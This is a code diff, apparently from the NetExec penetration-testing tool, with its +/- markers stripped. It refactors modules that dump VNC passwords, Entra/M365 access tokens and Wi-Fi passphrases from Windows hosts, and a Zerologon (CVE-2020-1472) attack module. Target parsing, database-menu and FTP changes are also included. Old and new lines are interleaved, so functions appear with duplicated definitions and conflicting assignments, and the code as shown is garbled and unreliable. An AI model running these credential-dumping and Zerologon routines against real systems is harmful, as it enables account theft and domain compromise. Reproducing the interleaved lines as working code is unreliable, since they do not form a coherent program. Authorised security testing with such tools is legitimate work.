ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp) if hku else rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
path,
)
key_handle = ans["phkResult"]
data = None
try:
_, data = rrp.hBaseRegQueryValue(
remote_ops._RemoteOperations__rrp,
key_handle,
key,
)
return data
except rrp.DCERPCSessionError as e:
self.context.log.debug(f"Error while querying registry value for {path} {key}: {e}")
def vnc_client_proxyconf_extract(self, dploot_conn, remote_ops=None):
def vnc_client_proxyconf_extract(self, dploot_conn):
vnc_client_softwares = [
("RealVNC Viewer 7.x Proxy Conf", "Software\\RealVNC\\vncviewer", ["ProxyUserName", "ProxyPassword", "ProxyServer"]),
]
users = self.get_users(remote_ops)
users = self.get_users(dploot_conn)
if dploot_conn.target.protocol != "smb":
self.context.log.warn("Downloading NTUSER.DAT for offline users, will be slow")
for user, sid in users.items():
ntuser_dat_path = ntpath.join(f"Users\\{user}\\NTUSER.DAT")
try:
ntuser_dat_bytes = dploot_conn.readFile(self.share, ntuser_dat_path)
ntuser_dat_bytes = dploot_conn.read_file(share=self.share, path=ntuser_dat_path)
except Exception as e:
self.context.log.debug(f"Error while getting NTUSER.DAT file for {user}: {e}")
for vnc_name, registry_path, registry_keys in vnc_client_softwares:
cred = {}
if ntuser_dat_bytes is None and remote_ops is not None:
if ntuser_dat_bytes is None:
user_registry_path = ntpath.join(sid, registry_path)
try:
password = self.reg_query_value(remote_ops, user_registry_path, registry_keys[1], hku=True).encode().rstrip(b"\x00").decode()
password = dploot_conn.reg_get_key_value("HKU", user_registry_path, registry_keys[1])
if password is None:
continue
password = password.encode().rstrip(b"\x00").decode()
cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1")
cred["server"] = self.reg_query_value(remote_ops, user_registry_path, registry_keys[2], hku=True)
cred["user"] = self.reg_query_value(remote_ops, user_registry_path, registry_keys[0], hku=True)
cred["server"] = dploot_conn.reg_get_key_value("HKU", user_registry_path, registry_keys[2])
cred["user"] = dploot_conn.reg_get_key_value("HKU", user_registry_path, registry_keys[0])
except Exception as e:
if "ERROR_FILE_NOT_FOUND" not in str(e):
self.context.log.debug(f"Error while RegQueryValues {registry_keys} from {user_registry_path}: {e}")
@@ -139,9 +96,9 @@ class NXCModule:
cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1")
cred["server"] = reg.getValue(ntpath.join(registry_path, registry_keys[2]))[1].decode("latin-1")
self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}")
self.connection.dpapi_triage.log_secret(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}", self.context.log)
def vnc_from_registry(self, remote_ops):
def vnc_from_registry(self, dpapi_conn):
vncs = (
("RealVNC 4.x", "SOFTWARE\\Wow6432Node\\RealVNC\\WinVNC4", "Password"),
("RealVNC 3.x", "SOFTWARE\\RealVNC\\vncserver", "Password"),
@@ -152,10 +109,12 @@ class NXCModule:
)
for vnc_name, path, key in vncs:
try:
value = self.reg_query_value(remote_ops, path, key)
except Exception as e:
if "ERROR_FILE_NOT_FOUND" not in str(e):
self.context.log.debug(f"Error while RegQueryValue {path}\\{key}: {e}")
value = dpapi_conn.reg_get_key_value("HKLM", path, key)
except rrp.DCERPCSessionError as e:
if "ERROR_FILE_NOT_FOUND" in str(e):
self.context.log.debug(f"Could not find {path}\\{key}, likely not installed: {e}")
else:
self.context.log.fail(f"Error while RegQueryValue {path}\\{key}: {e}")
continue
if value is None:
continue
@@ -163,7 +122,7 @@ class NXCModule:
password = self.recover_vncpassword(value)
if password is None:
continue
self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}")
self.connection.dpapi_triage.log_secret(f"[{vnc_name}] Password: {password.decode('latin-1')}", self.context.log)
vnc_users = (
("RealVNC Viewer 7.x", "HKCU\\Software\\RealVNC\\vncviewer", "ProxyUserName", "ProxyPassword", "ProxyServer"),
@@ -171,7 +130,10 @@ class NXCModule:
for vnc_name, path, user, password, server in vnc_users:
cred = {}
try:
value = self.reg_query_value(remote_ops, path, password).encode().rstrip(b"\x00").decode()
value = dpapi_conn.reg_get_key_value("HKLM", path, password)
if value is None:
continue
value = value.encode().rstrip(b"\x00").decode()
value = unhexlify(value)
except Exception as e:
if "ERROR_FILE_NOT_FOUND" not in str(e):
@@ -181,13 +143,13 @@ class NXCModule:
continue
cred["password"] = self.recover_vncpassword(value).decode()
try:
cred["server"] = self.reg_query_value(remote_ops, path, server)
cred["user"] = self.reg_query_value(remote_ops, path, user)
cred["server"] = dpapi_conn.reg_get_key_value("HKLM", path, server)
cred["user"] = dpapi_conn.reg_get_key_value("HKLM", path, user)
except Exception as e:
if "ERROR_FILE_NOT_FOUND" not in str(e):
self.context.log.debug(f"Error while RegQueryValue {path}\\{user}: {e}")
continue
self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}")
self.connection.dpapi_triage.log_secret(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}", self.context.log)
def split_len(self, seq, length):
return [seq[i:i + length] for i in range(0, len(seq), length)]
@@ -230,8 +192,8 @@ class NXCModule:
("UltraVNC", "Program Files (x86)\\UltraVNC\\ultravnc.ini"),
)
for vnc_name, file in vncs:
file_content = dploot_conn.readFile(self.share, file)
for vnc_name, filepath in vncs:
file_content = dploot_conn.read_file(share=self.share, path=filepath)
if file_content is not None:
regex_passwd = [rb"passwd=[0-9A-F]+", rb"passwd2=[0-9A-F]+"]
for regex in regex_passwd:
@@ -239,39 +201,16 @@ class NXCModule:
for passwd_encrypted in passwds_encrypted:
passwd_encrypted = passwd_encrypted.split(b"=")[-1]
password = self.recover_vncpassword(unhexlify(passwd_encrypted))[:8]
self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}")
self.connection.dpapi_triage.log_secret(f"[{vnc_name}] Password: {password.decode('latin-1')}", self.context.log)
def get_users(self, conn):
users = {}
userlist_key = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList"
ans = rrp.hOpenLocalMachine(conn._RemoteOperations__rrp)
regHandle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, userlist_key, samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
keyHandle = ans["phkResult"]
sids = []
i = 0
while True:
try:
ans2 = rrp.hBaseRegEnumKey(conn._RemoteOperations__rrp, keyHandle, i)
sids.append(ans2["lpNameOut"])
except rrp.DCERPCSessionError as e:
if e.get_error_code() == ERROR_NO_MORE_ITEMS:
break
except Exception as e:
self.context.debug(f"Error while listing users from HKU: {e}")
i += 1
rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle)
for sid in sids:
ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, ntpath.join(userlist_key, sid), samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
keyHandle = ans["phkResult"]
_, profile_path = rrp.hBaseRegQueryValue(conn._RemoteOperations__rrp, keyHandle, "ProfileImagePath")
if r"%systemroot%" in profile_path:
for sid in conn.reg_enum_key("HKLM", userlist_key):
profile_path = conn.reg_get_key_value("HKLM", f"{userlist_key}\\{sid}", "ProfileImagePath")
if "C:\\Users" not in profile_path:
continue
users[ntpath.basename(profile_path.rstrip("\0"))] = sid.rstrip("\0")
rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle)
users[ntpath.basename(profile_path).rstrip("\0")] = sid.rstrip("\0")
return users
+5 -32
View File
@@ -1,54 +1,27 @@
import re
import jwt
from dploot.triage.wam import WamTriage
from dploot.lib.target import Target
from nxc.helpers.logger import highlight
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
class NXCModule:
name = "wam"
description = "Dump access token from Token Broker Cache. More info here https://blog.xpnsec.com/wam-bam/. Module by zblurx"
supported_protocols = ["smb"]
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""No options available"""
def on_admin_login(self, context, connection):
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
self.pvkbytes = get_domain_backup_key(connection)
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False)
if len(self.masterkeys) == 0:
context.log.fail("No masterkeys looted")
return
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting Token Broker Cache access tokens")
context.log.success("Looting Token Broker Cache access tokens")
def token_callback(token):
for attrib in token.attribs:
@@ -58,10 +31,10 @@ class NXCModule:
decoded_token = jwt.decode(access_token, options={"verify_signature": False})
if "preferred_username" in decoded_token:
# Assuming that if there is no preferred_username key, this is not a valid Entra/M365 Access Token
context.log.highlight(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}")
connection.dpapi_triage.log_secret(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}", self.context.log)
try:
triage = WamTriage(target=target, conn=conn, masterkeys=self.masterkeys, per_token_callback=token_callback)
triage = WamTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys, per_token_callback=token_callback)
triage.triage_wam()
except Exception as e:
context.log.debug(f"Could not loot access tokens: {e}")
+10 -35
View File
@@ -1,54 +1,29 @@
from dploot.lib.target import Target
from dploot.triage.wifi import WifiTriage
from nxc.helpers.logger import highlight
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, upgrade_to_dploot_connection
class NXCModule:
name = "wifi"
description = "Get key of all wireless interfaces"
supported_protocols = ["smb"]
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""No options available"""
def on_admin_login(self, context, connection):
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
masterkeys = collect_masterkeys_from_target(connection, target, conn, user=False)
masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=False, dump_system=True)
if len(masterkeys) == 0:
context.log.fail("No masterkeys looted")
return
context.log.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting Wifi interfaces")
context.log.success("Looting Wifi interfaces")
try:
# Collect Chrome Based Browser stored secrets
wifi_triage = WifiTriage(target=target, conn=conn, masterkeys=masterkeys)
wifi_triage = WifiTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=masterkeys)
wifi_creds = wifi_triage.triage_wifi()
except Exception as e:
context.log.debug(f"Error while looting wifi: {e}")
@@ -57,16 +32,16 @@ class NXCModule:
context.log.highlight(f"[OPEN] {wifi_cred.ssid}")
elif wifi_cred.auth.upper() in ["WPAPSK", "WPA2PSK", "WPA3SAE"]:
try:
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password.decode('latin-1')}")
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password.decode('latin-1')}", self.context.log)
except Exception:
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}")
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}", self.context.log)
elif wifi_cred.auth.upper() in ["WPA", "WPA2"]:
try:
if self.eap_username is not None and self.eap_password is not None:
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type} - Identifier: {wifi_cred.eap_username}:{wifi_cred.eap_password}")
if wifi_cred.eap_username is not None and wifi_cred.eap_password is not None:
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type} - Identifier: {wifi_cred.eap_username}:{wifi_cred.eap_password}", self.context.log)
else:
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type}")
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type}", self.context.log)
except Exception:
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}")
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}", self.context.log)
else:
context.log.highlight(f"[WPA-EAP] {wifi_cred.ssid} - {wifi_cred.eap_type}")
+12 -8
View File
@@ -1,10 +1,11 @@
# everything is comming from https://github.com/dirkjanm/CVE-2020-1472
# credit to @dirkjanm
# module by : @mpgn_x64
from impacket.dcerpc.v5 import nrpc, epm, transport
from impacket.dcerpc.v5 import nrpc, epm
from impacket.dcerpc.v5.rpcrt import DCERPCException
import sys
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
from nxc.logger import nxc_logger
# Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be necessary on average.
@@ -26,7 +27,7 @@ class NXCModule:
def on_login(self, context, connection):
self.context = context
if self.perform_attack("\\\\" + connection.hostname, connection.host, connection.hostname, connection.host):
if self.perform_attack(connection, "\\\\" + connection.hostname, connection.host, connection.hostname, connection.host):
self.context.log.highlight("VULNERABLE")
self.context.log.highlight("Next step: https://github.com/dirkjanm/CVE-2020-1472")
try:
@@ -43,17 +44,20 @@ class NXCModule:
except Exception:
self.context.log.debug("Error updating zerologon status in database")
def perform_attack(self, dc_handle, dc_ip, target_computer, remoteHost):
def perform_attack(self, connection, dc_handle, dc_ip, target_computer, remoteHost):
# Keep authenticating until successful. Expected average number of attempts needed: 256.
self.context.log.debug("Performing authentication attempts...")
rpc_con = None
try:
binding = epm.hept_map(remoteHost, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
rpc_con_ = transport.DCERPCTransportFactory(binding.replace(remoteHost, dc_ip))
rpc_con_.setRemoteHost(remoteHost)
rpc_con = rpc_con_.get_dce_rpc()
rpc_con.connect()
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
string_binding = binding.replace(remoteHost, dc_ip)
rpc_con = NXCRPCConnection(connection).connect(
None,
nrpc.MSRPC_UUID_NRPC,
string_binding=string_binding,
set_remote_host=remoteHost,
anonymous_rpc=True,
)
for _attempt in range(MAX_ATTEMPTS):
result = try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer)
if result:
Executable → Regular
+29 -33
View File
@@ -1,14 +1,14 @@
# PYTHON_ARGCOMPLETE_OK
import contextlib
import sys
from nxc.helpers.logger import highlight
from nxc.helpers.misc import identify_target_file, display_modules
from nxc.parsers.ip import parse_targets
from nxc.parsers.nmap import parse_nmap_xml
from nxc.parsers.nessus import parse_nessus_file
from nxc.helpers.misc import display_modules
from nxc.cli import gen_cli_args
from nxc.loaders.protocolloader import ProtocolLoader
from nxc.loaders.moduleloader import ModuleLoader
from nxc.loaders.moduleloader import ModuleLoader, ModuleOptionsError
from nxc.first_run import first_run_setup
from nxc.parsers.ip import process_targets
from nxc.paths import NXC_PATH, WORKSPACE_DIR
from nxc.console import nxc_console
from nxc.logger import nxc_logger
@@ -17,9 +17,9 @@ from nxc.database import create_db_engine
from concurrent.futures import ThreadPoolExecutor, as_completed
import asyncio
from nxc.helpers import powershell
import signal
import shutil
import os
from os.path import exists
from os.path import join as path_join
from sys import exit
from rich.progress import Progress
@@ -40,7 +40,7 @@ if platform.system() != "Windows":
resource.setrlimit(resource.RLIMIT_NOFILE, file_limit)
async def start_run(protocol_obj, args, db, targets): # noqa: RUF029
async def start_run(protocol_obj, args, db, targets): # ruff: ignore[unused-async]
futures = []
nxc_logger.debug("Creating ThreadPoolExecutor")
if args.no_progress or len(targets) == 1:
@@ -58,7 +58,7 @@ async def start_run(protocol_obj, args, db, targets): # noqa: RUF029
nxc_logger.debug(f"Creating thread for {protocol_obj}")
futures = [executor.submit(protocol_obj, args, db, target) for target in targets]
for _ in as_completed(futures):
current += 1 # noqa: SIM113
current += 1 # ruff: ignore[enumerate-for-loop]
progress.update(tasks, completed=current)
for future in as_completed(futures):
try:
@@ -67,7 +67,19 @@ async def start_run(protocol_obj, args, db, targets): # noqa: RUF029
nxc_logger.exception(f"Exception for target {targets[futures.index(future)]}: {future.exception()}")
def ctrl_c(sig, frame):
nxc_logger.debug("Got keyboard interrupt")
with contextlib.suppress(Exception):
if hasattr(nxc_console, "_live_stack") and nxc_console._live_stack:
for live in nxc_console._live_stack:
live.stop()
nxc_console.show_cursor(True)
nxc_logger.highlight("[!] Interrupted, exiting.")
os._exit(0)
def main():
signal.signal(signal.SIGINT, ctrl_c)
first_run_setup(nxc_logger)
args, version_info = gen_cli_args()
@@ -96,41 +108,23 @@ def main():
nxc_logger.error("KRB5CCNAME environment variable is not set")
exit(1)
targets = []
if hasattr(args, "cred_id") and args.cred_id:
for cred_id in args.cred_id:
if "-" in str(cred_id):
start_id, end_id = cred_id.split("-")
try:
for n in range(int(start_id), int(end_id) + 1):
args.cred_id.append(n) # noqa: B909
args.cred_id.remove(cred_id) # noqa: B909
args.cred_id.append(n) # ruff: ignore[loop-iterator-mutation]
args.cred_id.remove(cred_id) # ruff: ignore[loop-iterator-mutation]
except Exception as e:
nxc_logger.error(f"Error parsing database credential id: {e}")
exit(1)
if hasattr(args, "target") and args.target:
for target in args.target:
try:
if exists(target) and os.path.isfile(target):
target_file_type = identify_target_file(target)
if target_file_type == "nmap":
targets.extend(parse_nmap_xml(target, args.protocol))
elif target_file_type == "nessus":
targets.extend(parse_nessus_file(target, args.protocol))
else:
with open(target) as target_file:
for target_entry in target_file:
targets.extend(parse_targets(target_entry.strip()))
else:
targets.extend(parse_targets(target))
except Exception as e:
nxc_logger.fail(f"Failed to parse target '{target}': {e}")
targets = process_targets(args)
# The following is a quick hack for the powershell obfuscation functionality, I know this is yucky
if hasattr(args, "clear_obfscripts") and args.clear_obfscripts:
obfuscated_dir = os.path.join(NXC_PATH, "obfuscated_scripts")
obfuscated_dir = path_join(NXC_PATH, "obfuscated_scripts")
shutil.rmtree(obfuscated_dir)
os.mkdir(obfuscated_dir)
nxc_logger.success("Cleared cached obfuscated PowerShell scripts")
@@ -193,7 +187,11 @@ def main():
exit(1)
nxc_logger.debug(f"Loading module for sanity check {m} at path {modules[m]['path']}")
module = loader.init_module(modules[m]["path"])
try:
loader.init_module(modules[m]["path"])
except ModuleOptionsError as e:
nxc_logger.debug(f"Aborting run: {e}")
exit(1)
# Add modules paths to the protocol object so it can load them itself
proto_module_paths.append(modules[m]["path"])
@@ -209,8 +207,6 @@ def main():
try:
asyncio.run(start_run(protocol_object, args, db, targets))
except KeyboardInterrupt:
nxc_logger.debug("Got keyboard interrupt")
finally:
db_engine.dispose()
+21 -12
View File
@@ -16,10 +16,6 @@ from nxc.paths import CONFIG_PATH, WORKSPACE_DIR
from nxc.database import create_db_engine, open_config, get_workspace, get_db, write_configfile, create_workspace, set_workspace
class UserExitedProto(Exception):
pass
def print_table(data, title=None):
print()
table = AsciiTable(data)
@@ -99,7 +95,16 @@ class DatabaseNavigator(cmd.Cmd):
print_help(help_string)
def do_back(self, line):
raise UserExitedProto
self.db.shutdown_db()
return True
def do_proto(self, line):
if not line:
self.main_menu.help_proto()
self.db.shutdown_db()
self.main_menu.do_proto(line)
return True
def do_export(self, line):
if not line:
@@ -310,10 +315,18 @@ class DatabaseNavigator(cmd.Cmd):
return
print("[+] DPAPI secrets exported")
elif command == "keys":
if len(line) < 3:
print("[-] invalid arguments, export keys <all|id> <filename>")
return
keys = self.db.get_keys() if line[1].lower() == "all" else self.db.get_keys(key_id=int(line[1]))
if not keys:
print("[-] No keys found in the database for the current protocol")
return
writable_keys = [key[2] for key in keys]
filename = line[2]
write_list(filename, writable_keys)
print("[+] Keys exported")
elif command == "wcc":
if len(line) < 3:
print("[-] invalid arguments, export wcc <simple|detailed> <filename>")
@@ -459,17 +472,13 @@ class NXCDBMenu(cmd.Cmd):
db_object = self.p_loader.load_protocol(self.protocols[proto]["dbpath"])
self.config.set("nxc", "last_used_db", proto)
write_configfile(self.config, self.config_path)
try:
proto_menu = db_nav_object.navigator(self, db_object.database(self.conn), proto)
proto_menu.cmdloop()
except UserExitedProto:
pass
proto_menu = db_nav_object.navigator(self, db_object.database(self.conn), proto)
proto_menu.cmdloop()
@staticmethod
def help_proto():
help_string = """
proto [smb|mssql|winrm]
*unimplemented protocols: ftp, rdp, ldap, ssh
proto [smb|mssql|winrm|ftp|rdp|ldap|ssh]
Changes nxcdb to the specified protocol
"""
print_help(help_string)
+119 -6
View File
@@ -1,22 +1,135 @@
import netifaces
from ipaddress import ip_address, ip_network, summarize_address_range, ip_interface
from nxc.helpers.logger import highlight
from nxc.helpers.misc import identify_target_file
from nxc.config import exclude_hosts, skip_self
from nxc.logger import nxc_logger
from nxc.parsers.nmap import parse_nmap_xml
from nxc.parsers.nessus import parse_nessus_file
from os.path import exists, isfile
from pathlib import Path
from sys import exit
def process_targets(args):
targets = []
if hasattr(args, "target") and args.target:
for target in args.target:
try:
if exists(target) and isfile(target):
target_file_type = identify_target_file(target)
if target_file_type == "nmap":
targets.extend(parse_nmap_xml(target, args.protocol))
elif target_file_type == "nessus":
targets.extend(parse_nessus_file(target, args.protocol))
else:
with open(target) as target_file:
for target_entry in target_file:
targets.extend(parse_targets(target_entry.strip()))
else:
targets.extend(parse_targets(target))
except Exception as e:
nxc_logger.fail(f"Failed to parse target '{target}': {e}")
# Handle exclusions from config
excluded_ips = set()
# Process exclude_hosts from config. Important, we are reusing the parse_targets because it
# already provides the code necessary for parsing all provided inputs
if args.exclude_hosts is not None:
exclude_hosts.extend(args.exclude_hosts)
for excluded in exclude_hosts:
if Path(excluded).is_file():
with open(excluded) as excluded_file:
for line in excluded_file.readlines():
excluded_ips.update(parse_targets(line.strip()))
else:
excluded_ips.update(parse_targets(excluded))
# Process skip_self from config and cli argument
if skip_self or args.skip_self:
local_ips = get_local_ips()
if local_ips:
nxc_logger.debug(f"Local IP addresses detected: {local_ips}")
excluded_ips.update(local_ips)
else:
nxc_logger.error("Could not determine local IP address for skip_self")
# Validate that all objects to be excluded are valid IP addresses
try:
for ip in excluded_ips:
ip_address(ip)
except ValueError as e:
nxc_logger.error(f"Invalid IP address in excluded hosts: {e}")
exit(1)
# Filter out excluded targets
if excluded_ips:
ignore_target_warning = False
for target in targets:
try:
ip_address(target)
except ValueError:
if not ignore_target_warning:
ans = input(highlight("[!] Target is not an IP address, but exclusion list detected. Hostnames will not be filtered. Do you want to continue? [Y/n] ", "red"))
if ans.lower() not in ["y", "yes", ""]:
exit(1)
ignore_target_warning = True
original_count = len(targets)
excluded_targets = [target for target in targets if target in excluded_ips]
targets = [target for target in targets if target not in excluded_ips]
nxc_logger.info(f"Excluding {original_count - len(targets)} hosts from scan: {excluded_targets}")
return targets
def get_local_ips():
"""Get the local IP address using netifaces library."""
interfaces = netifaces.interfaces()
ips = set()
for interface in interfaces:
# Skip loopback interface
if interface == "lo" or interface.startswith("lo"):
continue
addresses = netifaces.ifaddresses(interface)
if netifaces.AF_INET in addresses:
for addr_info in addresses[netifaces.AF_INET]:
ip = addr_info.get("addr")
# Skip localhost and link-local addresses
if ip and not ip.startswith("127.") and not ip.startswith("169.254."):
ips.add(ip)
if netifaces.AF_INET6 in addresses:
for addr_info in addresses[netifaces.AF_INET6]:
ip = addr_info.get("addr")
# Skip localhost and link-local addresses
if ip and not ip.startswith("::1") and not ip.startswith("fe80::"):
ips.add(ip)
return ips
def parse_targets(target):
try:
if "-" in target:
start_ip, end_ip = target.split("-")
start = ip_address(start_ip)
try:
end_ip = ip_address(end_ip)
end = ip_address(end_ip)
except ValueError:
first_three_octets = start_ip.split(".")[:-1]
first_three_octets.append(end_ip)
end_ip = ip_address(".".join(first_three_octets))
sep = ":" if start.version == 6 else "."
prefix = start_ip.split(sep)[:-1]
prefix.append(end_ip)
end = ip_address(sep.join(prefix))
for ip_range in summarize_address_range(ip_address(start_ip), end_ip):
for ip_range in summarize_address_range(start, end):
for ip in ip_range:
yield str(ip)
else:
if ip_interface(target).ip.version == 6 and ip_address(target).is_link_local:
ip = ip_interface(target).ip
if ip.version == 6 and ip.is_link_local:
yield str(target)
else:
for ip in ip_network(target, strict=False):
+42 -12
View File
@@ -1,15 +1,16 @@
from io import BytesIO
import os
from nxc.config import process_secret
from nxc.connection import connection
from nxc.helpers.logger import highlight
from nxc.logger import NXCAdapter
from ftplib import FTP, error_perm
from ftplib import FTP, error_perm, error_temp
class ftp(connection):
def __init__(self, args, db, host):
self.protocol = "FTP"
self.remote_version = None
self.welcome_banner = ""
super().__init__(args, db, host)
@@ -26,11 +27,12 @@ class ftp(connection):
def enum_host_info(self):
welcome = self.conn.getwelcome()
self.logger.debug(f"Welcome result: {welcome}")
self.remote_version = welcome.split("220", 1)[1].strip() # strip out the extra space in the front
self.logger.debug(f"Remote version: {self.remote_version}")
for line in welcome.splitlines():
self.welcome_banner += line.split("220", 1)[1].strip() # strip out the extra space in the front
self.logger.debug(f"Remote version: {self.welcome_banner}")
def print_host_info(self):
self.logger.display(f"Banner: {self.remote_version}")
self.logger.display(f"Banner: {self.welcome_banner}")
def create_conn_obj(self):
self.conn = FTP()
@@ -50,13 +52,12 @@ class ftp(connection):
self.logger.debug(f"Response: {resp}")
except Exception as e:
self.logger.fail(f"{username}:{process_secret(password)} (Response:{e})")
self.conn.close()
return False
# 230 is "User logged in, proceed" response, ftplib raises an exception on failed login
if "230" in resp:
self.logger.debug(f"Host: {self.host} Port: {self.port}")
self.db.add_host(self.host, self.port, self.remote_version)
self.db.add_host(self.host, self.port, self.welcome_banner)
cred_id = self.db.add_credential(username, password)
@@ -101,8 +102,9 @@ class ftp(connection):
self.put_file(self.args.put[0], self.args.put[1])
if not self.args.continue_on_success:
self.conn.close()
return True
def disconnect(self):
self.conn.close()
def list_directory_full(self):
@@ -115,6 +117,10 @@ class ftp(connection):
self.logger.fail(f"Failed to list directory. Response: ({error_message})")
self.conn.close()
return False
except error_temp as e:
self.logger.fail(e)
self.conn.close()
return False
return files
def get_file(self, filename):
@@ -125,10 +131,9 @@ class ftp(connection):
if self.conn.encoding == "utf-8":
# Switch the connection to binary
self.conn.sendcmd("TYPE I")
# Check if the file exists
self.conn.size(filename)
# Attempt to download the file
self.conn.retrbinary(f"RETR {filename}", open(downloaded_file, "wb").write) # noqa: SIM115
with open(downloaded_file, "wb") as f:
self.conn.retrbinary(f"RETR {filename}", f.write)
except error_perm as error_message:
self.logger.fail(f"Failed to download the file. Response: ({error_message})")
self.conn.close()
@@ -146,7 +151,8 @@ class ftp(connection):
def put_file(self, local_file, remote_file):
try:
# Attempt to upload the file
self.conn.storbinary(f"STOR {remote_file}", open(local_file, "rb")) # noqa: SIM115
with open(local_file, "rb") as f:
self.conn.storbinary(f"STOR {remote_file}", f.read)
except error_perm as error_message:
self.logger.fail(f"Failed to upload file. Response: ({error_message})")
return False
@@ -159,6 +165,30 @@ class ftp(connection):
else:
self.logger.fail(f"Failed to upload: {local_file} to {remote_file}")
def cat(self):
# Extract the filename from the path
remote_file = self.args.cat
try:
# Check if the current connection is ASCII (ASCII does not support .size())
if self.conn.encoding == "utf-8":
# Switch the connection to binary
self.conn.sendcmd("TYPE I")
# Attempt to get the file content
buf = BytesIO()
self.conn.retrbinary(f"RETR {remote_file}", buf.write)
except error_perm as error_message:
self.logger.fail(f"Failed to get file content. Response: ({error_message})")
return False
except FileNotFoundError:
self.logger.fail("Failed to get file content. Response: (No such file or directory.)")
return False
try:
for line in buf.getvalue().decode().splitlines():
self.logger.highlight(line)
except UnicodeDecodeError as e:
self.logger.fail(f"File is not in UTF-8: {e}")
def supported_commands(self):
raw_supported_commands = self.conn.sendcmd("HELP")
supported_commands = [item for sublist in (x.split() for x in raw_supported_commands.split("\n")[1:-1]) for item in sublist]
+1
View File
@@ -7,6 +7,7 @@ def proto_args(parser, parents):
cgroup = ftp_parser.add_argument_group("File Operations")
cgroup.add_argument("--ls", metavar="DIRECTORY", nargs="?", const=".", help="List all files (including hidden) in the directory")
cgroup.add_argument("--cat", metavar="FILE", help="Display the contents of a file. Example: --cat /path/to/file")
cgroup.add_argument("--get", metavar="FILE", help="Download a file")
cgroup.add_argument("--put", metavar=("LOCAL_FILE", "REMOTE_FILE"), nargs=2, help="Upload a file")
return parser
+281 -160
View File
@@ -14,7 +14,6 @@ from termcolor import colored
from dns import resolver
